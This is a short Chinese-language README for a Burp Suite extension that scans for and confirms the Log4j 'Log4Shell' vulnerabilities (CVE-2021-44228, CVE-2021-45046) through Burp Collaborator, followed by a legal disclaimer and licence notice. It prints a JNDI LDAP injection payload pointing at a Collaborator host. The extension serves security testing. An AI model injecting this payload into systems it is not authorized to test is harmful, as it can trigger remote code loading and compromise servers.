此 Burp Suite 主动扫描器扩展验证了 Apache Log4j CVE-2021-44228 和 CVE-2021-45046 漏洞的利用。
该扩展使用 Burp Collaborator 来验证问题。
如果您只想运行此模块中的检查，可以导入 extensions-only.json 配置文件并将其选为主动扫描配置文件。
在主动扫描期间，该扩展尝试以下插入点：
在每个插入点，请求中注入以下载荷：
${jndi:ldap://{BURPCOLLABORATOR}/exploit.class}
此外，该扩展添加了许多头部，这些头部在 headers（未注释的行）中启用。 这些头部在一次独立的请求中逐一注入。
本项目仅供教育和道德测试目的。未经事先相互同意而使用 Log4Shell-active-scanner 攻击目标是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任，也不对因使用本程序而导致的任何误用或损害负责。
本项目采用 MIT 许可证授权。
